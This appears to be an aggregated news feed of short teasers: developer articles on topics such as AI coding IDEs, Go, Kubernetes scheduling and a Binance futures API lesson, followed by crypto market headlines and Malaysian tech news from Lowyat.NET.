The All Ordinaries Index, often abbreviated as allords, stands as one of Australia’s longest-established equity benchmarks. It represents a broad overview of the Australian share market, capturing the performance of a large portion of companies listed on the Australian Securities Exchange (ASX). While numerous indices exist within the Australian financial landscape, the allords holds a unique place due to its wide coverage, long history, and consistent methodology. Introduced in 1980, the allords was originally created to offer a broad gauge of national market activity. Unlike more concentrated indices that focus on a select group of major firms, this index tracks hundreds of listed entities, making it one of the most comprehensive indicators of Australian equity movements. Its purpose is …  ( 8 min )

Testing AI coding assistants with real-world tasks: ConnectOnion agent framework migration and frontend development Project: github.com/openonion/connectonion I've been coding for 5 hours this morning using Antigravity and Gemini3, and here's my conclusion. First of all, here's my background for your reference: I've been using both Cursor and Claude Code for coding 10 hours per day for 2 years. I've been a machine learning engineer for 7 years, and started writing agents since 2024. ConnectOnion (github.com/openonion/connectonion | docs.connectonion.com) - this agent framework was created by me. I'm a $400 Gemini Ultra user, and also use the Gemini CLI sometimes. And here's my conclusion: Antigravity is better than Cursor - for me, around 20% better. Gemini3 is better than Claude for long-…  ( 8 min )

STN Hackathon 2025 is an exciting upcoming hackathon going to be held on 6th-7th December 2025. It is a 24 hour hackathon expected to be filled with innovation and tech lovers of Nepal. It is an Open theme full stack challenge open to all developers, designers, ai/ml enthusiasts, innovators and tech lovers. It is organized by IT Skills Training Nepal, Putalisadak. Full details: Here You can join as a team of 4 members maximum or you can go solo if you are feeling confident. Registration closes on 4th December, 2025 and limited seats are available so register now to not miss the chance. Talking about the prizes, the prizes include internship opportunities and even job placement so it is very ideal for students looking to start their career. Prizes include: Participants will also have the chance to connect with tech experts and like minded individuals, receive certificates and gain recognition. Beyond the rewards, the hackathon offers a valuable experience in real-world project development and working under tight deadlines. If you’re passionate about technology and eager to challenge yourself, STN Hackathon 2025 is the perfect opportunity to learn, create and grow. For information of all upcoming hackathons and events you can also join Nepvents, the best event discovery platform for tech students in Nepal.  ( 6 min )

If you have been around modern web development for a while, you have definitely heard the term SSR. It feels like one of those concepts that everyone mentions in conversations about performance and user experience. Yet many beginners find it confusing because there are many related ideas like client side rendering, static generation and hydration. This article will give you a simple understanding of what SSR actually is and why it is used. SSR stands for Server Side Rendering. It means that the server prepares the HTML for a page before sending it to the browser. When the user loads your site, they immediately receive a page that already contains the content. In client side rendering the browser loads an empty shell and then JavaScript builds the content. In SSR the user does not wait for …  ( 8 min )

The age of the simple AI "autocomplete" is over. We've entered the era of the Agent-First IDE, and Google's Antigravity is leading the charge. Launched alongside the powerful Gemini 3 model, Antigravity is not just a souped-up VS Code fork; it's a completely new paradigm where AI agents function as autonomous, accountable teammates, operating across your entire development workflow. For the professional software developer, Antigravity shifts your role from line-by-line implementation to high-level architecture and task delegation. It elevates human judgment by automating the tedious execution, fundamentally changing how fast, and how far, a single engineer can build. Antigravity's biggest differentiator is the shift from an AI assistant that only gives suggestions, to an AI Agent that can …  ( 9 min )

The Problem: Turning Ideas into Action is Hard Every founder faces the same painful journey: you have a brilliant startup idea, but translating that vision into a concrete, actionable plan feels overwhelming. You need to research competitors, validate market demand, design architecture, plan features, map user flows, and create a roadmap—all before writing a single line of code. This research and planning phase can take weeks, involve expensive consultants, or result in half-baked specifications that engineers struggle to implement. What if you could compress weeks of work into minutes? MVP Agent is an AI-powered system that transforms a single paragraph describing your startup idea into a complete, production-ready MVP blueprint. It's not just another AI wrapper—it's a sophisticated age…  ( 10 min )

Read the original article：How to Create Interactive UIs with Animation and Transition Effects in ArkUI Introduction In this article, we’ll explore how to use animations in ArkUI through simple yet effective examples. Animations are not just a way to make user interfaces more beautiful — they also bring life and interactivity to apps in the most enjoyable way. HarmonyOS NEXT’s ArkUI framework offers developers a rich and flexible set of animation capabilities to achieve just that. With the aid of animations, you can: Performance Tips & Best Practices 🎯 Keep animations short and meaningful. Long animations can make users feel like they’re waiting. 🚀 Maintain a high FPS (frames per second). Aim for 60FPS whenever possible. Avoid overly complex animations that can cause lag. 🧠 Avoid unnece…  ( 9 min )

As a full-stack developer, I've always believed in giving back to the community that has helped me grow. That's why I created a comprehensive collection of 100% free developer tools that solve real problems we face daily. Tech Stack: Frontend: Next.js 15 with TypeScript Styling: Tailwind CSS with shadcn/ui components Deployment: Netlify with optimized build configuration Performance: Lighthouse scores 90+ across all metrics Architecture: The tools are built as modular React components with a focus on performance and user experience. Each tool is self-contained, works offline, and processes data client-side for privacy and speed. // JSON Formatter Tool - Core Logic interface JSONFormatterState { input: string; output: string; error: string | null; isValid: boolean; } const useJSON…  ( 10 min )

Introduction A journey of a thousand instructions begins with a single bit. Six months ago, I began the Processors and Controllers course—a world where software meets hardware and where code manifests as motion, light, and sound. This isn't just a technical recount; it's about late nights debugging, the thrill of seeing an LED blink for the first time, and the satisfaction of making a stepper motor dance to my code. Month 1-2 was all about learning to think like a machine. The Intel 8086 microprocessor initiated me into low-level programming where every assembly instruction directly molds machine behavior. Key Concepts: Bus Interface Unit (BIU): Manages external bus operations, segment registers, and instruction queue Execution Unit (EU): Arithmetic operations, flags register, and instru…  ( 7 min )

Google Antigravity and .NET 10 : How AI Agents Are Revolutionizing C# Development in 2025 The convergence of Google's agent-first IDE and Microsoft's most powerful .NET release creates unprecedented opportunities for enterprise document processing and AI-driven development On November 18, 2025, Google launched Antigravity alongside Gemini 3, introducing what they call an "agent-first development platform." Just a week earlier, Microsoft released .NET 10 LTS with C# 14, bringing significant performance improvements and language enhancements. For C# developers and CTOs managing enterprise development teams, this convergence represents a fundamental shift in how we build, maintain, and scale .NET applications. As someone who has spent 41 years in programming and currently architects documen…  ( 12 min )

Because most tools abstract the system Tools like: Kubernetes Docker Terraform Cloud providers CI/CD tools …hide the underlying CPU, RAM, storage, network details. So engineers assume: “The platform will manage it; I don’t need to know systems-level details.” That’s WRONG. 2️⃣ Because modern DevOps training is shortcut-based Bootcamps and online courses teach: Docker commands Jenkins pipelines Kubernetes YAML GitHub Actions …but don’t teach: How CPU scheduling works How memory paging or swapping impacts containers How Linux kernel handles disk I/O How networks, subnets, routes, MTU work How disk throughput affects pods So DevOps engineers come out tool operators, not system engineers. 3️⃣ Because many DevOps engineers never operated bare-metal Old-school sysadmins worked with: Physical ser…  ( 7 min )

You can access the code of this chapter in the Kilo-Go github repository in the search branch. Currently your file structure should look something like this: We have now a functional text editor, we could even continue writing the code for this project in it Let's use editorPrompt to implement a minimal search feature. When the user types a search query and presses Enter, we'll loop through the text, and if a row contains the query string, we'll move the cursor there File: utils/constants.go const ( ... KILO_DEFAULT_STATUS_MESSAGE = "HELP: Ctrl-S = save | Ctrl-Q = quit | Ctrl-F = find" ) File: utils/find.go package editor import ( "strings" ) func (e *EditorConfig) editorFind() { query := e.editorPrompt("Search: ") if query == "" { return } for i :=…  ( 9 min )

Parsing PDFs sounds easy until you try parsing bank statements. I learned this the hard way. I spent nearly 2 months building a Chase Bank PDF parser that reaches 99% accuracy across 23 real statements (1,123 transactions total). Meanwhile, generic converters like Tabula or PDFTables only hit ~70% on the same documents. Here’s why Chase PDFs are much harder than you think—and how I solved the problems using TypeScript and pdfjs-dist, with real code you can copy. ⸻ Introduction If you’ve ever worked with U.S. banking data, you know that Chase Bank does something strange: CPAs, bookkeepers, and backend engineers quickly hit a wall when they need 5+ years of historical data. Chase provides those older statements only as PDFs—and the PDFs are absolutely not designed for machine parsing. Most …  ( 12 min )

If you are building an MCP server, every tool you expose needs an inputSchema. MCP servers written with Spring AI support often start with a simple data class for tool inputs. Then come changes: a new field, a renamed property, or updated constraints. The JSON schema in the tool registration rarely keeps up - that means clients may send invalid payloads. By generating the schema from the source of truth — the Java type — you remove that drift. Writing that JSON by hand is repetitive, easy to get wrong. MCP supports only a specific sub-type of the JSON Schema specification. The MCP JSON Schema library keeps the parameter schema and the code in lockstep by generating the MCP-compatible JSON Schema from a Jackson 3 annotated Java class or record. What you get: Use of Jackson 3 annotations for…  ( 7 min )

From Zero to Production in Your Chosen Language BitDT's multi-language support makes it accessible across your entire tech stack. This comprehensive guide walks through implementation strategies for Java, TypeScript, and Python environments. Assessment: When to Use BitDT Ideal Use Cases: · High-volume timestamp storage (databases, logs) Consider Alternatives When: · Human readability is paramount Java Implementation Setup and Integration Option 1: Source Integration git clone https://github.com/Danexcodr/BitDT.git cp -r BitDT/java/src/main/java/danexcodr/time/ your-project/src/main/java/ Option 2: Maven/Gradle Ready Structure Basic Usage Patterns Database Entity Integration @Entity public class Event { @Id private Long id; @Column(length = 15) private String compactTimest…  ( 10 min )

Introduction For patent professionals, the sheer volume of patent filings across jurisdictions can make keyword-only searches unreliable. Terms vary, translations introduce discrepancies, and technical nuances often get missed. This is where using classification in patent search becomes indispensable. Classification systems, such as the Cooperative Patent Classification (CPC) and International Patent Classification (IPC), categorize patents by technology rather than words, providing a structured approach to identify relevant prior art efficiently. In this article, we explore how to leverage CPC and IPC codes for patentability searches, freedom-to-operate analyses, invalidity assessments, and competitive intelligence. We cover workflows, practical strategies, advanced techniques, and the …  ( 10 min )

Current timekeeping systems reflect historical accidents rather than logical design. The base-60 division of hours and minutes originated from Sumerian finger-counting methods, while our irregular Gregorian calendar stems from Roman political manipulation. This paper proposes "Number Time," a decimal-based temporal system designed to reduce cognitive load, eliminate timezone confusion, and align with natural human rhythms through percentage-based daily measurement, standardized calendar structures, and location-specific sunrise references. The contemporary global timekeeping framework suffers from fundamental inefficiencies rooted in historical contingency. Our 24-hour day divided into 60-minute hours and 60-second minutes exists solely because ancient Sumerians counted using the 12 finger…  ( 13 min )

What is strategy pattern ? Strategy is a behavioral design pattern that lets you define a family of algorithms, put each of them into a separate class, and make their objects interchangeable. Strategy Interface: A common interface or abstract class is defined to represent the algorithm's behavior. Concrete Strategies: Concrete classes implement the strategy interface, providing a specific algorithm or behavior. Each concrete strategy encapsulates a particular way to perform a task. Context: The context is the class that uses a strategy. It holds a reference to a strategy object and delegates the task to it instead of executing the logic itself. The context can be configured with a different strategy object at runtime. Client: The client code is responsible for creating the context and choosing which concrete strategy to pass to it. It helps you: ✔ Remove long if/else or switch blocks Think of a payment service: Without Strategy Pattern → you'd write big conditional logic. With Strategy Pattern → you create a separate “strategy” class for each payment type. Source information SourceCode StrategyPattern Github  ( 6 min )

A type hint: is the label(annotation) which specifies the types for a variable, or function parameter or return value. can be done with one or more types with ':'and with or without '|'. is used with the type checkers such as mypy, pyright, pyre-check, pytype, etc. is optional so it doesn't force the type with error unless type checkers are used. I used mypy --strict for the experiments.     *mypy can be installed with pip install mypy. A type hint can be done with one or more types with ':' and with or without '|' as shown below: *Memo: | can be used from Python 3.10 and typing.Union is still usable: typing.Union can have one or more types. # from typing import Union v: str = 'Hello' # v: Union[str] = 'Hello' # Equivalent v = 23 v = None # Error # from typing import Union v:…  ( 8 min )

So I did an exercise to practice what I learned. I was given three banks' datasets: JPM (JP Morgan), Wells (Wells Fargo) & BAC (Bank of America). These three banks recorded their stock prices at different times due to delay caused by network issues, so their timestamps don’t match exactly. I needed to compare how the prices change across the three banks over time. To do that, I had to first align their times using merge_asof(). What this does is that, it takes a timestamp from JPM, checks to see which timestamp in Wells is closest to it, and then stores the value. I proceed to repeat the same for BAC, and I end up with a lineup of the three banks' logs, where each row has prices taken at almost the same moment. .diff() helps calculate the price changes across the three banks. I plotted these changes to show how each bank's stock price changes over time: Blue line represents JPM From the plot, we can see that: Wells and BAC move more steadily But all three banks show similar rise and fall patterns overall It suggests their price movements are correlated because all big US banks react to similar market forces. For my non-data science audience, you might be asking, kini gbogbo eleyi TL mi?(What's all this on my timeline?). When recording stock prices, different banks often log data at slightly different times. Once the timestamps were aligned, I calculated how much each stock price changed over time. Guess what I found... JPM (blue) is more volatile, swings higher, up and down. The curves for Wells and BAC look similar and smoother. That’s normal, they’re both traditional retail/consumer banks. They respond to: These factors affect them in the same direction, so their returns often move similarly. JPM had the most dramatic ups and downs. Why? Because JPMorgan has: ✔ A massive investment banking division Investment banking stocks naturally move more sharply. This is the End. -SP Day 9 of improving my Data Science skills Sylvester Promise ・ Nov 18 #webdev #ai #career #machinelearning  ( 7 min )

第 24.3 课：币安合约交易操作详解 ⏱ 课时：2.5 小时 🎯 学习目标：掌握币安合约交易的API操作，学会安全地进行杠杆交易 合约交易风险极高，新手请谨慎操作！ 🔴 高风险警告： - 合约交易具有杠杆效应，可能损失全部本金 - 市场剧烈波动可能导致强制平仓 - 资金费率和交易成本较高 - 需要丰富的交易经验和强大的心理素质 📋 适用人群： - 有丰富现货交易经验 - 深刻理解杠杆风险 - 有完善的风险管理策略 - 能承受重大资金损失 💡 建议：先用小资金测试，充分理解机制后再逐步增加 合约交易是加密货币交易的高级形式，通过杠杆可以放大收益，但同时也放大了风险。 本课重点： 杠杆是双刃剑，放大收益的同时也会放大亏损。谨慎使用，严格风控。 本课将详细讲解： 币安合约API的配置和使用 杠杆和保证金管理 合约订单类型和操作 风险管理和资金控制 在币安API管理页面，需要开启以下权限： ✅ 必须开启： □ Enable Reading (读取权限) □ Enable Futures Trading (合约交易权限) ⚠️ 可选开启（谨慎）： □ Enable Margin Trading (杠杆交易权限) ❌ 绝对禁止： □ Enable Withdrawals (提币权限) - 永远不要开启！ # 1. 从现货账户转入资金到合约账户 # 在币安网页版或APP中操作： # 资金 → 划转 → 从现货账户到USDT-M合约账户 # 2. 建议初始资金 # 新手：100-500 USDT # 有经验：1000-5000 USDT # 高级：5000+ USDT { "exchange": { "name": "binance", "key": "${BINANCE_API_KEY}", "secret": "${BINANC…  ( 15 min )

Have you ever wondered why that tiny notification sound has the power to pull our attention like a magnet we never asked to carry? On the subway, in cafés, classrooms, on the street. It's always the same. Ding. Such a small sound, but it pokes at something inside us. It's become one of modern life's strangest habits - instead of turning their phones down, people crank the volume all the way up. And it's not just a setting. It's almost a personality trait, a posture, a way of saying "I'm here." At some point, that tiny sound becomes an extension of who someone is. A kind of digital breath, I guess. Of course, there's biology involved. Dopamine. The moment that sound plays, your brain releases this tiny reward, a little spark. It feels like someone thought of us, reached out, needed us. Afte…  ( 7 min )

What's New in .NET 10 and C# 14: The Enterprise Architect's Guide to WebAssembly as a Parallel Runtime TL;DR: Why This Matters to Every .NET Developer If you're a .NET developer who's been writing C# code for years but haven't been paying attention to the WebAssembly revolution, this article is your wake-up call. .NET 10 (released November 11, 2025) isn't just another incremental update—it's Microsoft's declaration that the browser is now a first-class .NET runtime, sitting alongside your traditional server deployments. Imagine writing your business logic once in C# and having it run everywhere: on your servers at 49% faster speeds than .NET 8, in the browser via WebAssembly with 76% smaller download sizes, on edge devices via WASI, and even in native mobile apps through .NET …  ( 78 min )

Framer Ground: Open-source animated components you can copy directly into React/Next.js projects Key features: ✂️ No npm install needed, just copy and paste the code ⚡ Built with Framer Motion for smooth 60fps animations 🎨 Styled with TailwindCSS, easy to customize 📦 Includes buttons, cards, carousels, galleries, inputs, menus, and navbars 💪 Full TypeScript support 🚀 Works alongside any UI library Check it out if you want to add micro-interactions without building animations from scratch. Similar approach to shadcn/ui but focused purely on animations. 👉 Blog Post 👉 GitHub Repo 👉 Live Demo  ( 6 min )

World Cup 2026: Unpacking Team Performances, Qualifiers, and Match Analysis As we edge closer to the 2026 FIFA World Cup, the excitement is palpable. The latest FIFA rankings have revealed the top seeds, leaving us wondering about the prospects of various national teams. In this article, we'll delve into team performances, qualifiers, match analysis, and player insights, providing you with a comprehensive understanding of the World Cup 2026 landscape. The qualifying process for the 2026 World Cup has been nothing short of dramatic. With some surprising upsets and impressive comebacks, teams have secured their spots or narrowly missed out. According to worldcup26.app, as of now, the following teams are qualified: Africa: Egypt, Ghana, Morocco, Senegal, Tunisia Asia: Australia, Japan, South …  ( 7 min )

I recently contributed to the AWS Cloud Development Kit (CDK) by implementing External ID support for AwsCustomResource, a feature that enhances security for cross-account AWS operations. The pull request #35252 was merged into the main branch after a comprehensive review process, addressing a critical security gap identified in issue #34018. This article walks through the problem, the solution, and the engineering decisions that went into this contribution. The Problem: Confused Deputy Attacks Consider this scenario: Your Lambda function assumes a role in Account B using sts:AssumeRole An attacker discovers your function's configuration The attacker creates their own resource that tricks your function into assuming a role in their account instead Your function unknowingly performs operati…  ( 10 min )

When every Pod screams for CPU and memory, who decides who lives, who waits, and who gets evicted? Kubernetes isn't just a scheduler — it's a negotiator of fairness and efficiency. This article unpacks how Quality of Service (QoS), Priority Classes, Preemption, and Bin-Packing Scoring come together to keep your cluster stable and fair. ⚙️ The Challenge: Competing Workloads in Shared Clusters When multiple workloads share cluster resources, conflicts are inevitable: High-traffic apps starve lower workloads. Batch jobs hog memory. Pods without limits cause unpredictable evictions. Kubernetes addresses this by applying a layered decision-making model — QoS, Priority, Preemption, and Scoring. 🧭 QoS (Quality of Service): Who Gets Evicted First Each Pod belongs to a QoS class based on CPU and m…  ( 7 min )

git restore --source=main -- path/to/fileA.js  ( 6 min )

Primer is the foundation that decides how every colour sits, blends, and lasts. Choose the best primer for miniatures and your paint glides, details stay crisp, and varnish protection holds up. Choose badly and you fight chalky texture, clogged recesses, and flaky adhesion. This guide explains types of primer, how they behave on different materials, what colours to pick, and the environmental factors that make or break a smooth coat. If you are looking for practical miniature priming tips, want to understand how a Warhammer model primer behaves on plastic, resin, and metal, and you need a simple checklist to avoid grainy results, you are in the right place. Why Primer Quality Affects Every Stage Of Painting Primer does three vital jobs. It grips the miniature so colour coats do not rub o…  ( 10 min )

Table of Contents Introduction Go Software Enable dependency tracking for your code Go is an open-source programming language developed by Google It was designed at Google in 2007 by Robert Griesemer,and Ken Thompson, and publicly announced in November 2009. It is syntactically similar to C, but also has garbage collection, structural typing It is often referred to as Golang to avoid ambiguity and because of its former domain name, golang.org, but its proper name is Go the gopher : The Go gopher was created by renowned illustrator Renee French. It has become a beloved mascot for the Go brand. The Gopher is a reminder of the approachability and fun that comes with the Go brand and language. Go to the go website and then click on the download button Go can be installed in multiple Operating systems and information given below Its a straight forward installation, just keep click next to complete the installation. Try the below command in the software folder go mod init example/hello go: creating new go.mod: module example/hello Create a file hello.go file package main import "fmt" func main() { fmt.Println("Hello, World!") } Run your code to see the greeting. go run . Hello, World! References: https://en.wikipedia.org/wiki/Go_(programming_language) https://go.dev/  ( 6 min )

ideation for web app i generated the ideas for web app with Miro stickies. the Several ideas are written. notes to add revision with red color. notes without thinking integration automatically data analysis, multi step thinking with AI i already built the pipe line to develop full stack app with aws amplify. and as the next step, i wanna prepare basic CRUD function as template for general usage. and i made it. https://github.com/hirookakazuya/20251119_app] each dev folder have storage of 1.2GB and the most of it is in node_modules folder. as chatAI information, this node_module folder can be deleted and restored again with install npm when i use it. i didn't try it. now i' using the cursor. but the limitation of monthly use come. i study which tool i should select for code assistant. for basic use for dev, free ai chat bot is enough like chatGPT, Gemini. in these tool, i don't care about the limitation.  ( 6 min )

AWS CloudFormation is an AWS tool that lets you create and manage cloud resources using code instead of clicking around the console. You describe everything you want - like EC2 instances, S3 buckets, IAM roles, VPCs — in a template file (YAML or JSON), and CloudFormation reads that template and automatically provisions, updates, or deletes those resources for you as a single stack. This makes your infrastructure repeatable, version-controlled, and easier to manage, because you can deploy the same setup to multiple environments (dev, test, prod) with minimal changes, roll back if something fails, and track all infrastructure changes just like you do with application code. Recently, there has been number of improvements in CloudFormation making it much easier to manage infrastructure resourc…  ( 8 min )

Github: namanvashistha/limedb This commit significantly enhances the Text-based User Interface (TUI) for LimeDB, our lightweight, fast, open-source distributed key-value store. The focus is on providing developers with immediate, actionable insights into cluster health and data distribution. Real-time Node Metrics: ClusterStatus widget in the TUI now displays crucial operational metrics for each LimeDB node. These include: CPU Usage: Percentage of system CPU being utilized by the node process. Memory Usage: Amount of JVM memory consumed by the node. Uptime: How long the node process has been running. Latency: Round-trip time to communicate with the node. Why this matters: This provides a quick overview of individual node health, helping identify bottlenecks or unresponsive instance…  ( 7 min )

I remember the predictable rhythm of the Dreamweaver era. Firing up Photoshop, I'd mock up a pristine website layout, slice buttons and images, then export everything into HTML tables or early CSS floats. My process was predictable, my costs quantifiable. A client needed a landing page? "$500," I'd quote. That was 10 hours of design and code at $50/hour, minus a prorated slice of my Adobe subscription. Boom. A local coffee shop needed a brochure site. I'd sketch wireframes on paper (yes, actual paper!), scan them, build the PSD, and meticulously slice the hero image into top/middle/bottom for that stretchy background hack. The equation was simple: Time × Skill = Output. Fast forward to today, and that clean equation has shattered. My workflow now involves prompting Midjourney for a lo…  ( 7 min )

https://medium.com/@natarajanck2/nat-explained-simply-how-network-address-translation-works-in-pcs-and-virtual-machines-a633bb82a016  ( 6 min )

liner notes: Professional : Pretty good day. Had a few meetings. I responded to some community questions. Spent some time trying to work out some GitHub workflows that I didn't set up. haha It's part of a project I was involved with another person. I worked on the front end application that created the artifact that would then be sent to GitHub and that would kick off some tasks that the person I was working with created to get my artifact ready to be deployed to a platform. Well, the platform is no longer a viable option, so I'm working on refactoring everything to stay of GitHub and use Codespaces instead. The person I worked on this with is no longer at the company, but luckily we did a walk through of everything we worked on and recorded it. I watched it and went through some code to try and jog my memory and also think about how I can make this work. Personal : Last night, instead of coding (I think I was tired from work) I created another version of a 3D model that I've been wanting to remake. I learned some new things in Tinkercad and it helped me accomplish what I wanted. I think I'm going to do some coding. Go through tracks from Bandcamp and for the radio show. How is it Wednesday already?! Pretty much it. Going to eat dinner and get to work. Have a great night! peace piece https://dwane.io / https://HIPHOPandCODE.com  ( 7 min )

Some thoughts on where software engineering is heading Over the past two years, software development has changed in ways that feel significant. These are patterns I'm noticing both in my own work and across the industry. I've been using AI coding tools in personal projects for over two years. The evolution has been clear. It started with copying code from ChatGPT and pasting it into an IDE. Then came tab completion with Cursor and GitHub Copilot, which was helpful but not transformative. The real shift happened when Cursor introduced agentic capabilities, before Copilot had similar features. More recently, I got access to IBM Bob at work, which resembles Cursor 1.X and GitHub Copilot in approach. Most recently, Claude Code with its predominantly agentic workflow has reinforced what seems t…  ( 14 min )

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Jefferies said that stablecoin giant Tether has quietly become one of the gold market’s most influential new buyers.  ( 35 min )

VanEck says bitcoin’s downturn is being driven by mid-cycle wallets while the oldest holders keep accumulating, with futures data showing washed-out market conditions.  ( 35 min )

Industry groups signed a letter to President Donald Trump calling for new tax policy and agency action on initiatives apart from Congress' market structure work.  ( 35 min )

The CFTC-regulated exchange is gaining ground on crypto-native Polymarket, offering event contracts with fiat access and legal clarity.  ( 34 min )

Digital asset treasury firms are increasingly turning to share buybacks to arrest plunging stock prices as investor demand sours.  ( 33 min )

The day after his confirmation hearing, the Senate Agriculture Committee made a quick vote to push Mike Selig toward the overall Senate for a final vote.  ( 34 min )

The company's holdings, which include bitcoin and ether, have been managed through trading and hedging strategies since 2017.  ( 32 min )

The billionaire founder of hedge fund Bridgewater believes Bitcoin faces major hurdles before it can become a global reserve currency.  ( 34 min )

Hedera’s token slipped below key support levels as a late-session trading halt, collapsing volume, and failed recovery attempts point to mounting structural and liquidity stress.  ( 35 min )

Heavy trading activity during a failed rebound attempt pushed ICP into a tighter consolidation zone below $4.95, reinforcing short-term downside risk.  ( 33 min )

Michael Saylor’s 2020 move turned idle cash into crypto. Now, firms from healthcare to tech are following the playbook, with mixed results.  ( 37 min )

U.S. stocks are also giving up a major early advance, with the Nasdaq now ahead just 0.3%.  ( 33 min )

The Solana memecoin stayed locked in a wide consolidation band, with surging volume confirming both a resistance rejection and subsequent recovery.  ( 33 min )

The upgrade marks a sharper strategic turn for the blockchain, aligning protocol development with economic intent and strengthening the case for ether.  ( 34 min )

Institutional activity declined significantly, and the market remains pressured by Bitcoin's weak structure and ETF outflows.  ( 36 min )

The exchange’s confidential filing comes amid clearer regulatory signals, a market pullback and a wave of crypto firms testing public markets.  ( 34 min )

Crypto indices and key metrics explained: How index design — from asset selection to weighting and rebalancing — defines trust, transparency, and product viability.  ( 37 min )

The Grand Court of the Cayman Islands granted the injunction against Maple Finance completing its own liquid staking token syrupBTC.  ( 33 min )

Spot SOL exchange-traded funds extended an inflow streak since they began trading on Oct. 28 while bitcoin and ether ETFs bled hundreds of millions of dollars.  ( 33 min )

Securitize partners with Plume to launch institutional-grade assets on Plume's Nest staking protocol, expanding its DeFi footprint.  ( 35 min )

The investment is part of Tether’s broader push to expand stablecoin settlement and tokenization tools among institutions across Latin America, the firm said.  ( 33 min )

The action comes just a couple of weeks after fellow ETH treasury firm ETHZilla sold $40 million of tokens to fund its own share buybacks.  ( 33 min )

The expansion adds 56 MW at Barber Lake and secures $830 million in contracted revenue, reinforced by increased Google backing.  ( 34 min )

Polygon (POL) was also a top performer, up 7.9% from Wednesday.  ( 31 min )

The feature issues unique virtual account numbers, allowing users to receive direct deposits, like payroll payments, straight into the World App.  ( 34 min )

The September jobs report typically would have been published in the first week of October, but was delayed till now due to the government shutdown.  ( 34 min )

The investment bank slashed price targets across so-called Datcos, citing sector-wide pressure and weaker accumulation trends.  ( 35 min )

MARS and MERCURY preferred shares define a two tier equity stack as Metaplanet raises new capital.  ( 35 min )

The bank said billions in passive flows could unwind if MSCI removes Strategy from major equity benchmarks, heightening pressure on the bitcoin-levered firm.  ( 34 min )

Your day-ahead look for Nov. 20, 2025  ( 40 min )

Strong NVIDIA guidance lifts pre market sentiment across bitcoin miners while NAKA delivers delayed Q3 losses.  ( 34 min )

A long-term BTC holder moved hundreds of millions to exchanges, but the market absorbed the supply shock as altcoins suffered broad declines.  ( 36 min )

The company sees bitcoin as a store of value, similar to gold, a spokesperson told Bloomberg.  ( 33 min )

Cathie Wood's investment manager added to its holdings of Bullish (BLSH), Circle Internet (CRCL) and Bitmine (BMNR) as all three companies' stock prices fell.  ( 32 min )

A new Delaware filing for the iShares Staked Ethereum Trust signals BlackRock’s intent to enter the yield-bearing ether market as issuers wait for SEC clarity on staking.  ( 32 min )

The probability of the Federal Reserve cutting interest rates has decreased significantly, now standing at 30%.  ( 33 min )

Aztec Network launched its Ignition Chain, becoming the first fully decentralized Layer 2 protocol on Ethereum's mainnet.  ( 33 min )

The ARC will operate within a two-tier framework, complementing the RBI's Central Bank Digital Currency.  ( 34 min )

Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 36 min )

Despite no major catalysts, broader crypto market weakness and Bitcoin's 'Death Cross' contributed to XRP's decline.  ( 35 min )

With CryptoQuant flagging an exhausted demand wave and Polymarket traders clustering around an 85,000 retest, the market is trading without the catalysts that drove last year’s gains.  ( 34 min )

Everything is a conspiracy theory now. MIT Technology Review’s series, “The New Conspiracy Age,” explores how this moment is changing science and technology. Watch a discussion with our editors and Mike Rothschild, journalist and conspiracy theory expert, about how we can make sense of them all. Speakers: Amanda Silverman, Editor, Features & Investigations; Niall Firth,…  ( 16 min )

Digital resilience—the ability to prevent, withstand, and recover from digital disruptions—has long been a strategic priority for enterprises. With the rise of agentic AI, the urgency for robust resilience is greater than ever. Agentic AI represents a new generation of autonomous systems capable of proactive planning, reasoning, and executing tasks with minimal human intervention. As…  ( 24 min )

This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. Three things to know about the future of electricity The International Energy Agency recently released the latest version of the World Energy Outlook, the annual report that takes stock of the current state…  ( 21 min )

One of the dominant storylines I’ve been following through 2025 is electricity—where and how demand is going up, how much it costs, and how this all intersects with that topic everyone is talking about: AI. Last week, the International Energy Agency released the latest version of the World Energy Outlook, the annual report that takes…  ( 20 min )

Telekom Malaysia (TM) has issued a statement, addressing complaints surrounding the failures of its Next Generation Emergency Response Services 999, or NG MERS 999 in short. Malaysia upgraded the 17-year-old MERS999 platform because it had reached its technical limits and could no longer support the country’s evolving emergency requirements. NG MERS 999 was introduced to […] The post TM Issues Statement Regarding NG MERS 999 Issues appeared first on Lowyat.NET.  ( 36 min )

Upgrading to a new iPhone every single year is a baffling habit, but if you’ve got the cash to burn, who’s stopping you? For everyone else who’s a little more careful with their money yet still feels oddly tempted to keep up with the annual cycle, Maxis now has something that might make that decision […] The post Maxis Launches Yearly Upgrade Programme For iPhone Customers appeared first on Lowyat.NET.  ( 36 min )

Porsche has unveiled the highly anticipated fully electric Cayenne, expanding the SUV’s powertrain lineup with two variants: the Cayenne Electric and the Cayenne Turbo Electric. Both models feature an all-wheel-drive system. In terms of design, the Cayenne EV sports slim Matrix LED headlights that are horizontally oriented and slightly rounded at the edges. The front […] The post Porsche Debuts Fully Electric Cayenne With A Dual-Variant Lineup appeared first on Lowyat.NET.  ( 37 min )

As Malaysia continues to advance its AI aspirations, Johor has rapidly grown into a data centre hub. However, such developments do not come without a price. According to a report by the South China Morning Post, state officials have asked investors to temporarily halt water-cooled expansion projects for at least 18 months, or until mid […] The post Johor Data Centres Told To Postpone Expansions Until 2027 appeared first on Lowyat.NET.  ( 33 min )

A recent SiSoftware ranker confirms that AMD’s next Ryzen Mobile series entry, codename Gorgon Point, will be officially called the Ryzen AI 9 HX 370. The entry also confirms that the red CPU and GPU maker is sticking to the same naming convention as the CPU’s predecessor. Specs-wise, the HX 470 is virtually the same […] The post Alleged AMD Ryzen AI 9 HX 470 “Gorgon Point” Leaks appeared first on Lowyat.NET.  ( 34 min )

If you’ve ever looked at a controller and thought that what it really needs is a full set of flight controls, then Honeycomb Aeronautical has got you covered. The company specialises in accessories like flight sticks and pedals, so clearly the next logical step is to pack those controls into a compact gamepad. Enter the […] The post The Echo Aviation Controller Has A Full Set Of Flight Controls appeared first on Lowyat.NET.  ( 34 min )

Oh Cloudflare. Just when you think the online service provider and web host can take a breather, it gets another problem slapped right into its face. This time, it’s an order by the Japanese courts to pay restitution to several Japanese publishers for hosting manga piracy sites. The Tokyo District Court ordered Cloudflare to pay […] The post Japanese Court Orders Cloudflare To Pay RM13.3 Million To Publishers Over Manga Piracy appeared first on Lowyat.NET.  ( 35 min )

